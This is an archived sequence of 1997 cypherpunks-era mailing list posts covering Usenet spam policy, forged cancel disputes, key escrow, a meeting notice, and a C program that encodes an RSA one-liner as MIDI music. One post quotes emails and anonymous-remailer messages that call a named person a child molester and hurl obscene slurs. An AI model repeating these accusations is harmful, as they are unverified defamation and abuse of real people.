Naturally, rich, indolent technologists tend to favor schemes that 
will put them in control. :-)

[...]

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:32:57 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311120.MAA00669@server.test.net>
Message-ID: <X30sae2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Just commenting on some stuff I missed earlier:

Adam Back <aba@dcs.ex.ac.uk> writes:

...
> Another longer term way to improve the situation is to charge some
> small token amount per article, just to encourage people to use it
> with some intelligence (use cross posts rather than separately
> reposting to each group).

Problem is, a "small token" for some may be a lot of money for someone
else. A poor person may be unwilling to part with 5c; a rich person or
a corporation may still be willing to spend a million dollars on an
advertising campaing (selling something or warning about the second
cumming of Jesus).  The way the things are now, everyone is equally
free to post and if you're into reputations, they can build one with
the contents of their writings, not the amount of money they can
afford to spend on posting.

> It is also entirely possible for people to have 'bots which auto-post
> in response to articles matching keywords, or matching authors.
> (We've seen a few of these on cypherpunks).
>
> If people want to make a nuisance for others by spewing random garbage
> via bots to newsgroups, they could post mega bytes of stuff per day
> and swamp the content.  What can you do about this?  Charging a small
> amount per post, or per megabyte would provide a small disincentive
> for this type of behaviour.  However it would never reflect the true
> cost to USENET bandwidth as a whole.

I'm sorry, I don't see how posting megabytes of noise every day can
swamp the content. Moreover, if such actions were indeed cause a problem,
they would not be eliminated with payments. Some people would be willing
to spend money to "flood" the net with what you consider to be "spam" -
because they're rich or because they have access to a large advertising
budget. The solution is for you to make sure you're using a reader that
lets you find the content from

A while ago I read an interesting story about the behavior of German
tourists with cars in Czech republic.  The Czechs used to discourage
their own population from 1) speeding, 2) parking in inappropriate
places by imposing fines.  The fines were a lot of money for the locals,
but small change for the Germans (because of the screwed up exchange
rates for the most part). The Germans would speed on the local roads
and park their cars where they obstructed traffic since the fines
were no deterrent.

Natrurally, there's a huge difference between an inappropriately parked
car and a Usenet article. If you can't get our of your garage because
some tourist's car is parked in your driveway, it's a problem. If a
usent article is "inappropriately posted", you can just ignore it.

> One interesting idea which has been floated on this list in the past
> is for authors to have their free posting rate moderated by other
> peoples ratings of their posts.
>
> One way to implement this is for other people to pay the author for
> their articles a penny if they like the article.  That way people who
> write things which others find interesting to read get subsidized
> posting.  Is it still free speech if you have to pay for your posts if
> you're arguing for an unpopular minority?

Now that is another very interesting suggestion from Adam.

Instead of discouraging the behavior you don't like, encourage the
behavior you do like.

A shareware-like concept - send e-cash donations to the posters of
usenet articles that you like and whom you want to encourage.

Make 1 cent the standard "tip" for an article that you read and liked.
Feel free to send more if you like an article a lot. Don't send anything
if you don't like the article or if you've killfiled the author.

> Also, this might be an interesting information market model because
> technical experts might even find themselves with a well paid job of
> answering technical questions in newsgroups.

Or the ones who post good porn in alt.binaries.pictures.erotica.
Reward the ones whose postings others do want to read. Yes,
an excellent idea if you can work out the details.

I invite Adam and David to subscribe to the freedom-knights mailing list
(send 'subscribe freedom-knights@jetcafe.org' to majordomo@jetcafe.org)
if you want to continue this not-quite-crypto discussion there.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:30:42 +0800
To: freedom-knights@jetcafe.org
Subject: Re: non-censorous spam control (was Re: Spam is Information?)
In-Reply-To: <199707311344.IAA17797@mailhub.amaranth.com>
Message-ID: <DcBTae4w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:

> In <199707311120.MAA00669@server.test.net>, on 07/31/97
>    at 12:20 PM, Adam Back <aba@dcs.ex.ac.uk> said:
>
> >Another longer term way to improve the situation is to charge some small
> >token amount per article, just to encourage people to use it with some
> >intelligence (use cross posts rather than separately reposting to each
> >group).
>
> This will not work!!!
>
> Charging for e-mail/news posts will no nothing to prevent spam and more
> than likely increase the noise on such lists. It is the spamers who have
> the money to post volumns of their crap. Allso I think you will find that
> it will be the fanatics who will think it worth the $$$ to get their
> message out.

In all fairness, it would decrease the "spam" because some spammers are
certain to be unwilling to pay for braodcasting the kind of crap they
now broadcast for a flat fee. However it would not eliminate the "spam"
and it would damped the "signal" more than it would damped the "noise".

In my opinion, the recipient of the "spam" should not have to pay
anything. Now, some service charge per packets transmitted or the
time spent online. Their users are therefore pushed into trying to
censor "spam", flames, or anything else they find off-topic. Even
when there's no monetary cost, some people use crappy software to
read usenet or mailing lists, and it takes them time to ignore what
they don't like, and they value their time and become angry.

> >Also, this might be an interesting information market model because
> >technical experts might even find themselves with a well paid job of
> >answering technical questions in newsgroups.
>
> There is a web site that is doing exactly this. They provide forums for
> users to post technical questions in which "experts" will answer them.
> Upon receiving the answer the person who posted the question is requested
> to rate the answer. I haven't been on the site in awhile but the last time
> I was there they were working on a mechinism to compensate their "experts"
> for answering questions. They had a point system based on the difaculty of
> the questions. After registering with them and obtaining a certain number
> of points for correctly answering questions you would be classified as an
> "expert" for that forum which then would make you eligable for
> compensation. I believe all funds were to be generated through web page
> advertisement.
>
>
> I'll see if I can find the URL for the site and post it to the list.

Most of my posts on newsgroups like nyc.food or comp.unix.questions are
answers to other people's questions.  I'd love to see this concept
extended to Usenet - sort of like "shareware".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:39:20 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731090023.27288@math.uiuc.edu>
Message-ID: <FocTae6w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

>
> Ryan Anderson <randerso@ece.eng.wayne.edu> writes:
>
> > "Make Money Fast" are killed because they're illegal scams in the US and I
> > think in most of the world.
>
> 	Make.Money.Fast is killed because it's spam a few thousand times
> over.  The legality of it doesn't come into question.

Look in your "control" newsgroup, and you'll see that most of the
cancels forged for the MMFs state in the body that they're being
cancelled because they're "illegal". To save bandwidth, here's one
counterexample to Tim's claim:

]Path: ...!newsfeed.internetmci.com!news.msfc.nasa.gov!cyberspam!not-for-mail
]From: news@news.msfc.nasa.gov
]Newsgroups: sci.physics
]Subject: cmsg cancel <32684BAE.68B3@computer.mic> no reply ignore
]Message-ID: <cancel.32684BAE.68B3@computer.mic>
]Date: Sat, 19 Oct 1996 15:07:31 GMT
]Control: cancel <32684BAE.68B3@computer.mic>
]Sender: listentome <determin@computer.mic>
]Reply-To: bitbucket@news.msfc.nasa.gov
]Organization: Semi-Automatic Chain Letter Remover
]Lines: 3
]Approved: news@news.msfc.nasa.gov
]X-No-Archive: Yes
]X-Canceled-by: news@news.msfc.nasa.gov
]
]ignore
]
]Illegal MMF canceled by news@news.msfc.nasa.gov

You will notice that the anonymous cancel came from a .gov site. :-)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:32:09 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <19970731100829.06883@math.uiuc.edu>
Message-ID: <PwcTae8w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

> "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:
>
> > 1. "Spam cancellers" are not generally news admins. They are plain old
> > users who get kicked off of their ISPs for forging cancels. For examples,
> > see Net.Scum pages of Rick Buchanan, David Ritz, et al.
>
> 	Many spam cancellers are news admins.  Most of the major ones are
> admins, in fact - Chris Lewis, JEM, etc.

You're splitting hairs.  One very unpleasant cancel-forger, Jan Isley,
was the admin of a site where he was also the sole user.  When I posted
to usenet the expose's of jan's net-abuse (forged cancels) and asked
everyone to complain to his upstream site (Emory University), Jan Isley
forged cancels for 6 of my articles claiming that I "advocate harrassment
of uninvolved third parties".  Well, the third parties got complaints
anyway and pulled jan's plug in no time. :-)

For the archetypal "spam canceller", please examine Tim Brown's
net.Scum page at http://www.netscum.net/brownt0.html when that site
is up.

> > 2. Once a cancel-forger builds a "reputation" as a "spam canceller",
> > s/he often diversifies into "retromodetration" - forgng cancels for
> > singly-postd articles whose contents they don't like and claiming that
> > they were "spam". For examples, see the Net.Scum pages for Guy Macon
> > (the retromoderator on soc.religion.quaker), Chris Lewis, et al.
>
> 	This rarely happens, actually, and such situations are quickly
> slapped down as soon as they're spotted.
>
> 	The two examples Dimitri gives, of course, are major
> misrepresentations.

Who's misrepresenting what, Tim?

Chris Lewis has a 'bot that forges cancels for multi-posted articles.

Chris Lewis forges cancels by hand for articles that are critical of
him (claiming that they're "spam"), for articles that quote his earlier
articles (claiming that they violatehis copyright), posts numerous
lies about me (which you yourself partialy refutes the other day).

Tim Brown, a similar "spam canceller", forges cancels for "spam" as
well as articles that make fun of his newsletter, "The Last Word".

Etc, etc - take a look at www.netscum.net for numerous other examples.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 2 Aug 1997 23:37:04 +0800
To: freedom-knights@jetcafe.org
Subject: Re: Entrust Technologies's Solo - free download
In-Reply-To: <19970731101458.59875@math.uiuc.edu>
Message-ID: <P9cTae9w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim Skirvin <tskirvin@math.uiuc.edu> writes:

> "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com> writes:
>
> > Paul Pomes is a fouil-mouthed liar.  Please see his Net.Scum page at
> > http://www.netscum.net/pomesp0.html.
>
> 	What, you mean "Paul B. Pomes, ppomes@qualcomm.com, former
> p-pomes@uiuc.edu, mailbombs posters and their upstream sites with
> obscenities and false complaints."  That's the best you guys can do -
> complain about obscenities and 'false complaints'?
>
> 	You guys don't know Paul very well, do you?

The people on the Cypherpunks mailing list know Paul Pomes as a member of
Gary Burnore's databasix gang who has been complaining to remailer
operators' upstream sites and employers (such as Jeff Burchell).

Here are some of the e-mails I've received from Paul Pomes:

]From ppomes@Qualcomm.com  Mon May  5 15:42:15 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Mon, 05 May 97 16:07:50 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA05094 for dlv@bwalk.dm.com; Mon, 5 May 97 15:42:15 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id MAA04331
]	for <dlv@bwalk.dm.com>; Mon, 5 May 1997 12:42:12 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv@bwalk.dm.com
]From: Paul Pomes <ppomes@Qualcomm.com>
]Organization: Qualcomm, Inc.
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Mon, 05 May 1997 12:42:11 -0700
]Message-Id: <4328.862861331@zelkova.qualcomm.com>
]Sender: ppomes@Qualcomm.com
]
]I take this all to mean that you are Master Cocksucker Dimwit Vulis?
]After all I was always taught to consider the source.
[my totally unrelated cypherpunks article snipped]

Paul Pomes sends me harrassing e-mail and quotes more obscenities from
the anonymous remailers:


]From ppomes@Qualcomm.com  Mon May  5 14:34:22 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Mon, 05 May 97 16:07:56 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA29061 for dlv@bwalk.dm.com; Mon, 5 May 97 14:34:22 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id LAA04164
]	for <dlv@bwalk.dm.com>; Mon, 5 May 1997 11:34:15 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv@bwalk.dm.com
]From: Paul Pomes <ppomes@Qualcomm.com>
]Organization: Qualcomm, Inc.
]X-Url: <http://www.qualcomm.com/~ppomes/>
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Mon, 05 May 1997 11:34:15 -0700
]Message-Id: <4161.862857255@zelkova.qualcomm.com>
]Sender: ppomes@Qualcomm.com
]
]My alias of dimwit for you is appropriate.
]------- Forwarded Message
]
]Date:    Sun, 04 May 1997 13:39:11 +0200
]From:    nobody@replay.com (Anonymous)
]To:      cypherpunks@toad.com
]Subject: Re: Firewalls
]
]Timmy Mayo the self-admitted child molester
]possesses a rudimentary dick less than one
]inch long, half the size of his mother's
]clitoris, that barely makes a fistful. Thereby
]hangs the root of this Jew-hating sissy's sick
]fixation on little boys and Usenet forgeries.
]
]         \|||/
]         (o o)
]     -ooO-(_)-Ooo- Timmy Mayo
]
]
]------- End of Forwarded Message
]
]



]From ppomes@Qualcomm.com  Wed May  7 17:27:20 1997
]Received: by bwalk.dm.com (1.65/waf)
]	via UUCP; Wed, 07 May 97 19:18:55 EDT
]	for dlv
]Received: from zelkova.qualcomm.com by uu.psi.com (5.65b/4.0.061193-PSI/PSINet) via SMTP;
]        id AA21866 for dlv@bwalk.dm.com; Wed, 7 May 97 17:27:20 -0400
]Received: from localhost (localhost [127.0.0.1])
]	by zelkova.qualcomm.com (8.8.5/8.8.5) with ESMTP id OAA08611
]	for <dlv@bwalk.dm.com>; Wed, 7 May 1997 14:26:32 -0700 (PDT)
]X-Mailer: exmh version 2.0gamma 1/27/96
]To: dlv@bwalk.dm.com
]From: Paul Pomes <ppomes@Qualcomm.com>
]Organization: Qualcomm, Inc.
]X-Url: <http://people.qualcomm.com/ppomes/>
]Mime-Version: 1.0
]Content-Type: text/plain; charset=us-ascii
]Date: Wed, 07 May 1997 14:26:31 -0700
]Message-Id: <8608.863040391@zelkova.qualcomm.com>
]Sender: ppomes@Qualcomm.com
]
]And you fancy yourself a human being.  We all have our illusions.
]
]------- Forwarded Message
]
]Date:    Tue, 06 May 1997 03:14:52 -0400
]From:    lucifer@dhp.com (lucifer Anonymous Remailer)
]To:      cypherpunks@toad.com
]Subject: PGP
]
]Tim C[retin] Mayflower styles his facial hair to look more
]like pubic hair.
]
]      ,,,
] -ooO(o o)Ooo- Tim C[retin] Mayflower
]      (_)
]
]
]------- End of Forwarded Message
]


Please tell me, Tim, why you disagree with Paul's description on his
Net.Scum page.


I'm posting this for the record to the F-K list, so people are aware
of the kind of behavior Tim Skirvin condones in his friends.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 3 Aug 1997 03:16:06 +0800
To: coderpunks@toad.com
Subject: RSA - the song
In-Reply-To: <199708011035.LAA01061@server.test.net>
Message-ID: <19970802120226.07980@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="Boundary..3980.1071713720.multipart/mixed"

--Boundary..3980.1071713720.multipart/mixed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Fri, Aug 01, 1997 at 11:35:02AM +0100, Adam Back wrote:
[...]
> 
> print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 
> > I dug out a midi interpreter I wrote a number of years ago, 
> > and it is indeed trivial to modify it to read any text as input.  
> > Unfortunately, I wrote that long before the midi file spec was 
> > finalized, and the hardware I wrote it for is also long gone.  But 
> > it's probably not much work to get file output working again...and 
> > the thought of a general text-to-midi translator is rather 
> > entertaining -- I could play this entire mail message through it, for 
> > example... It would definitely make better music if some rhythmic 
> > variation was part of the coding, but that would make it a little 
> > harder to make an automatic decoder...
> 
> I'd find it most cool to hear an audio file of the above.

Well, I generated a midi file that encodes music which in turn is a 
direct algorithmic encoding of your program.  I didn't have a 
convenient way to go to a direct sound file, but midi players are 
very widely available -- any recent pc with a sound card will have a 
"multimedia midi jukebox" or something like that.  And there are 
probably free ones on the net -- I didn't look.  The midi file will 
be a mime attachment to this message.  It's also at 

	ftp://songbird.com/pub/rsa.mid 

For aesthetic reasons I modified the encoding from the simple one
mentioned earlier, and, rather than try to modify one of my earlier
midi programs, I just hacked this one out from other sources.  The
program will actually encode any binary data into a piece of music. 

I think that musically the piece is actually somewhat interesting -- I
kind of like it.  Like the source text, it is rather dense.  But if
you listen to it a few times patterns and phrasing will appear.  It 
sounds like reasonable avante garde music, actually -- something a 
college radio station might broadcast to the world late at night...

The program is really rather trivial, so rather than describing the 
encoding, I am just appending it to this message.

--------------------------------------------------------------------
/*
    dtom -- convert data to midi
        dtom midifile <datafile
            or
        datasource | dtom midifile

        convert standard in to a midi representation of the data, and
        write it to a standard midi file.  The midi data is designed
        to so that the sound produced will permit decoding by a pitch
        to midi device.  Two things are done to increase the musical
	interest:  First, the notes are selected from a diatonic 
	scale, instead of a chromatic.  And second, the rhythm is 
        also varied algorithmically -- any decoding from the sound 
        should ignore all rhythmic variation.

	Code uses "midifilelib" from Tim Thompson & Michael 
	Czeiszperger, and is cobbled from one of their examples.

*/
    

#include <stdio.h>
#include <ctype.h>
#include "midifile.h"

#define ROOT 36

FILE *fp;

/* offsets for three octaves of diatonic major scale */
int scale[] = {0,2,4,5,7,9,11,12,14,16,17,19,23,24,26,28,29,31,33,35,36};

mputc(c) { return(putc(c,fp));}

int writetrack(track)
int track;
{
    int note_duration;
    int rest_duration;
    int high_nybble;
    int low_nybble;
    char c;
    char n1[2];
    char n2[2];

    mf_write_tempo((long)100000);

    while( (c = getchar()) != EOF ) {

        high_nybble = (c>>4) & 0xf;
        low_nybble  = c & 0xf;
	
	/* low note */
        n1[0] = scale[low_nybble]+ROOT;	/* note number */
        n1[1] = 64;                     /* velocity */

	/* high note */
        n2[0] = scale[high_nybble]+ROOT+scale[16];
        n2[1] = 64;

	/* shouldn't happen */
	if( n1[0] >= n2[0] ) printf("warning -- voice crossover!\n");

	/* note_duration needs to be long enough for pitch detectors */
	note_duration = 120*((c&15) + 4);
	rest_duration = 120*(((c>>5)&3));

        if(!mf_write_midi_event(rest_duration,note_on,1,n1,2)) 	return(-1);
        if(!mf_write_midi_event(0,note_on,1,n2,2))		return(-1);

        if(!mf_write_midi_event(note_duration,note_off,1,n1,2))	return(-1);
        if(!mf_write_midi_event(0,note_off,1,n2,2))		return(-1);
    }

    return(1);
} /* end of write_track() */

main(argc,argv)
char **argv;
{
    if( !(fp = fopen(argv[1],"w")) ) exit(1);

    Mf_putc = mputc;
    Mf_writetrack = writetrack;
    mfwrite(0,1,480,fp);
}

---------------------------------------------------------------------------


-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html


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Content-Description: "rsa.mid"

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 2 Aug 1997 18:10:24 +0800
To: cypherpunks-announce@toad.com
Subject: August Cypherpunks Meeting Announcement
Message-ID: <3.0.2.32.19970802120325.006985f4@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



This month's SF Bay Area Cypherpunks meeting will take place at a new
location. Please pay close attention to the directions.

We will have several interesting topics to talk about, but have very
limited time. Please be there on schedule or you will miss the good stuff.

When:
Saturday, August 9, 1997 at 1:00 PM PDT. [22:00 local]

Where:
The Workshop tent, HIP'97 Campground, Almere, The Netherlands.

How to get there:
Take any plane from SFO to Shipol. Then follow the directions at
http://www.hip97.nl/route.html

This month's topics include:
o The electronic release of the PGP 5.0 platform independent source code.
o An introduction to the PGPcdk, a cryptographic toolkit.
o The Onion Router beta release.
o Practical phone encryption.
o Fast crypto on a smartcard.

What to do if you get lost:
Call me at my cell phone. +31 (0)6 5373-5125.

See you there,


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  Be HIP and join us for HIP'97 in Amsterdam.
  http://www.hip97.nl/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 2 Aug 1997 13:57:47 +0800
To: cypherpunks@cyberpass.net
Subject: thanks...
Message-ID: <199708020550.OAA04024@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to everyone who sent me information about Key Recovery.

FYI, I gave a fairly objective update on the current status of the bills being
debated in the US, distributed the Walsh Report (missing some paragraphs)
and reviewed John Davidson's comments on the report, distributed and
reviewed "The Risks of Key Recover, Key Escrow and Trusted Third-Party
Encryption", distributed and reviewed most of the material written by
Carl Ellison, reviewed the recent letter from Janet Reno to Congress,
distributed Whit Diffie's May '93 testimony on Clipper, and finished by
distributing materials from the TIS site, in particular going over RecoverKey.

I can't tell you about any of the other stuff that is currently being
presented
in the study group, but once the report becomes public, I will try to get
an English version up on the Net. It should end up being the Japanese
National Poice Agency's official position on Key Escrow, Certification
Authorities, and several other issues.

I will be participating in another study group soon to discuss many of
these issues with the Self Defense Force from the point of view of
Japanese national security as well as another NPA study group on
what to do about "crackers"... Anyway, if anyone who can give me some
insight into these areas will be at HIP, I'd love to chat. ;-)

Thanks again.

- Joi

P.S. I am not a "policeman" but an outside boardmember of these
study groups. The ministries are under quite a bit of scrutiny these
days and the study groups tend to be quite frank and balanced.
The reports don't always dictate the law, but since most politicians
do not have real staffers, therefore most of the expert study is done in the
ministries.

--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 3 Aug 1997 02:44:23 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: free market services vs monopoly government
In-Reply-To: <19970802015614.65348@bywater.songbird.com>
Message-ID: <Pine.LNX.3.91.970802152737.845A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> But your reasoning is this, apparently: "Kent says he doesn't believe
> it is possible for a human society to not have a government, therefore
> Kent favors big intrusive government." This kind of "reasoning" is
> rife on cypherpunks; may I suggest it is beneath you?

I don`t think this is a necessarily entirely spurious line of reasoning, 
all government leads to large and intrusive government, it is the nature 
of power that it corrupts and is addictive. So the statement above could 
be corrected to "Kent says he doesn`t believe it is possible for a human 
society to not have a government, therefore Kent favours a system which 
would eventually "evolve" into big intrusive government".
Anyway, the argument over anarchism vs. minarchism comes down very much 
to how you define government, if you define government as a body of 
people given the power to pass laws over the citizens of that 
jurisdiction, then government is indeed a bad thing per se, however, if 
you define government as a loose informal set of social norms and codes 
of behaviour (for a libertarian example see the NAP) then government is 
indeed present in all civilised and succesful human societies, real or 
conjectured.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sun, 3 Aug 1997 06:04:49 +0800
To: kent@songbird.com>
Subject: Re: RSA - the song
In-Reply-To: <199708011035.LAA01061@server.test.net>
Message-ID: <Chameleon.870554820.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Interesting.

Now for the obvious question, can you convert midi back to text?

Looks like a new way to hide encrypted messages.

amp

------------------------
  From: Kent Crispin <kent@songbird.com>
  Subject: RSA - the song 
  Date: Sat, 02 Aug 1997 12:02:26 -0700 
  To: cypherpunks@cyberpass.net, coderpunks@toad.com


> On Fri, Aug 01, 1997 at 11:35:02AM +0100, Adam Back wrote:
> [...]
> > 
> > print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> > )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> > 
> > > I dug out a midi interpreter I wrote a number of years ago, 
> > > and it is indeed trivial to modify it to read any text as input.  
> > > Unfortunately, I wrote that long before the midi file spec was 
> > > finalized, and the hardware I wrote it for is also long gone.  But 
> > > it's probably not much work to get file output working again...and 
> > > the thought of a general text-to-midi translator is rather 
> > > entertaining -- I could play this entire mail message through it, for 
> > > example... It would definitely make better music if some rhythmic 
> > > variation was part of the coding, but that would make it a little 
> > > harder to make an automatic decoder...
> > 
> > I'd find it most cool to hear an audio file of the above.
> 
> Well, I generated a midi file that encodes music which in turn is a 
> direct algorithmic encoding of your program.  I didn't have a 
> convenient way to go to a direct sound file, but midi players are 
> very widely available -- any recent pc with a sound card will have a 
> "multimedia midi jukebox" or something like that.  And there are 
> probably free ones on the net -- I didn't look.  The midi file will 
> be a mime attachment to this message.  It's also at 
> 
> 	ftp://songbird.com/pub/rsa.mid 
> 
> For aesthetic reasons I modified the encoding from the simple one
> mentioned earlier, and, rather than try to modify one of my earlier
> midi programs, I just hacked this one out from other sources.  The
> program will actually encode any binary data into a piece of music. 
> 
> I think that musically the piece is actually somewhat interesting -- I
> kind of like it.  Like the source text, it is rather dense.  But if
> you listen to it a few times patterns and phrasing will appear.  It 
> sounds like reasonable avante garde music, actually -- something a 
> college radio station might broadcast to the world late at night...
> 
> The program is really rather trivial, so rather than describing the 
> encoding, I am just appending it to this message.
> 
> --------------------------------------------------------------------
> /*
>     dtom -- convert data to midi
>         dtom midifile <datafile
>             or
>         datasource | dtom midifile
> 
>         convert standard in to a midi representation of the data, and
>         write it to a standard midi file.  The midi data is designed
>         to so that the sound produced will permit decoding by a pitch
>         to midi device.  Two things are done to increase the musical
> 	interest:  First, the notes are selected from a diatonic 
> 	scale, instead of a chromatic.  And second, the rhythm is 
>         also varied algorithmically -- any decoding from the sound 
>         should ignore all rhythmic variation.
> 
> 	Code uses "midifilelib" from Tim Thompson & Michael 
> 	Czeiszperger, and is cobbled from one of their examples.
> 
> */
>     
> 
> #include <stdio.h>
> #include <ctype.h>
> #include "midifile.h"
> 
> #define ROOT 36
> 
> FILE *fp;
> 
> /* offsets for three octaves of diatonic major scale */
> int scale[] = {0,2,4,5,7,9,11,12,14,16,17,19,23,24,26,28,29,31,33,35,36};
> 
> mputc(c) { return(putc(c,fp));}
> 
> int writetrack(track)
> int track;
> {
>     int note_duration;
>     int rest_duration;
>     int high_nybble;
>     int low_nybble;
>     char c;
>     char n1[2];
>     char n2[2];
> 
>     mf_write_tempo((long)100000);
> 
>     while( (c = getchar()) != EOF ) {
> 
>         high_nybble = (c>>4) & 0xf;
>         low_nybble  = c & 0xf;
> 	
> 	/* low note */
>         n1[0] = scale[low_nybble]+ROOT;	/* note number */
>         n1[1] = 64;                     /* velocity */
> 
> 	/* high note */
>         n2[0] = scale[high_nybble]+ROOT+scale[16];
>         n2[1] = 64;
> 
> 	/* shouldn't happen */
> 	if( n1[0] >= n2[0] ) printf("warning -- voice crossover!\n");
> 
> 	/* note_duration needs to be long enough for pitch detectors */
> 	note_duration = 120*((c&15) + 4);
> 	rest_duration = 120*(((c>>5)&3));
> 
>         if(!mf_write_midi_event(rest_duration,note_on,1,n1,2)) 	return(-1);
>         if(!mf_write_midi_event(0,note_on,1,n2,2))		return(-1);
> 
>         if(!mf_write_midi_event(note_duration,note_off,1,n1,2))	return(-1);
>         if(!mf_write_midi_event(0,note_off,1,n2,2))		return(-1);
>     }
> 
>     return(1);
> } /* end of write_track() */
> 
> main(argc,argv)
> char **argv;
> {
>     if( !(fp = fopen(argv[1],"w")) ) exit(1);
> 
>     Mf_putc = mputc;
>     Mf_writetrack = writetrack;
>     mfwrite(0,1,480,fp);
> }
> 
> ---------------------------------------------------------------------------
> 
> 
> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
